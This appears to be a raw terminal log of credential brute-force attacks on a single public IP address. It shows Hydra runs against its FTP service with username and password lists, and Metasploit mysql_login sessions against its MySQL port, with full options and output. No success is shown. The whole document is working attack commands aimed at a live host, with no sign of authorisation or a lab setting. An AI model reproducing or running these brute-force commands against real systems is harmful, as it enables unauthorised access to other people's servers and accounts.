

hydra brute force attempt 1:

```
$ hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://68.66.247.187 255 x
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-01 07:15:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000000 login tries (l:10/p:1000000), ~625000 tries per task
[DATA] attacking ftp://68.66.247.187:21/
[STATUS] 61.00 tries/min, 61 tries in 00:01h, 9999939 to do in 2732:14h, 16 active
```

hydra brute force attempt 2:

```
$ hydra -L /home/kali/Desktop/usernames.txt -P /home/kali/Desktop/passwords.txt ftp://68.66.247.187
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-02-01 07:27:22
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, t
o prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000000 login tries (l:10/p:1000000), ~625000 tries per task
[DATA] attacking ftp://68.66.247.187:21/
[STATUS] 32.00 tries/min, 32 tries in 00:01h, 9999984 to do in 5208:20h, 16 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 9999937 to do in 5208:19h, 16 active
[STATUS] 32.00 tries/min, 224 tries in 00:07h, 9999809 to do in 5208:15h, 16 active
[STATUS] 30.87 tries/min, 463 tries in 00:15h, 9999570 to do in 5399:21h, 16 active
[STATUS] 30.13 tries/min, 934 tries in 00:31h, 9999099 to do in 5531:16h, 16 active
```

Metasploit brute force attempt 1 (2 runs):

```
msf6 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):



| Name             | Current Setting                  | Required | Description                                                                                  |
|------------------|----------------------------------|----------|----------------------------------------------------------------------------------------------|
| BLANK_PASSWORDS  | true                             | no       | Try blank passwords for all users                                                            |
| BRUTEFORCE_SPEED | 5                                | yes      | How fast to bruteforce, from 0 to 5                                                          |
| DB_ALL_CREDS     | false                            | no       | Try each user/password couple stored in the current database                                 |
| DB_ALL_PASS      | false                            | no       | Add all passwords in the current database to the list                                        |
| DB_ALL_USERS     | false                            | no       | Add all users in the current database to the list                                            |
| DB_SKIP_EXISTING | none                             | no       | Skip existing credentials stored in the current database (Accepted: none, user, user@realm)  |
| PASSWORD         |                                  | no       | A specific password to authenticate with                                                     |
| PASS_FILE        | /home/kali/Desktop/passwords.txt | no       | File containing passwords, one per line                                                      |
| Proxies          |                                  | no       | A proxy chain of format type:host:port[,type:host:port][...]                                 |
| RHOSTS           | 68.66.247.187                    | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT            | 3306                             | yes      | The target port (TCP)                                                                        |
| STOP_ON_SUCCESS  | false                            | yes      | Stop guessing when a credential works for a host                                             |
| THREADS          | 1                                | yes      | The number of concurrent threads (max one per host)                                          |
| USERNAME         | root                             | no       | A specific username to authenticate as                                                       |
| USERPASS_FILE    |                                  | no       | File containing users and passwords separated by space, one pair per line                    |
| USER_AS_PASS     | false                            | no       | Try the username as the password for all users                                               |
| USER_FILE        |                                  | no       | File containing usernames, one per line                                                      |
| VERBOSE          | true                             | yes      | Whether to print output for all attempts                                                     |



msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306 - 68.66.247.187:3306 - Unsupported target version of MySQL detected. Skipping.
[*] 68.66.247.187:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306 - 68.66.247.187:3306 - Unable to connect: The connection with (68.66.247.187:3306) timed out.
[*] 68.66.247.187:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >
```

Metasploit brute force attempt 2 (2 runs):

```
= [ metasploit v6.1.14-dev ]
+ -- == [ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- == [ 592 payloads - 45 encoders - 10 nops ]
+ -- == [ 9 evasion ]

Metasploit tip: Search can apply complex filters such as
search cve:2009 type:exploit, see all the filters
with help search

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 68.66.247.187
rhosts => 68.66.247.187
msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306 - 68.66.247.187:3306 - Unsupported target version of MySQL detected. Skipping.
[*] 68.66.247.187:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > run

[-] 68.66.247.187:3306 - 68.66.247.187:3306 - Unable to connect: The connection with (68.66.247.187:3306) timed out.
[*] 68.66.247.187:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > 
```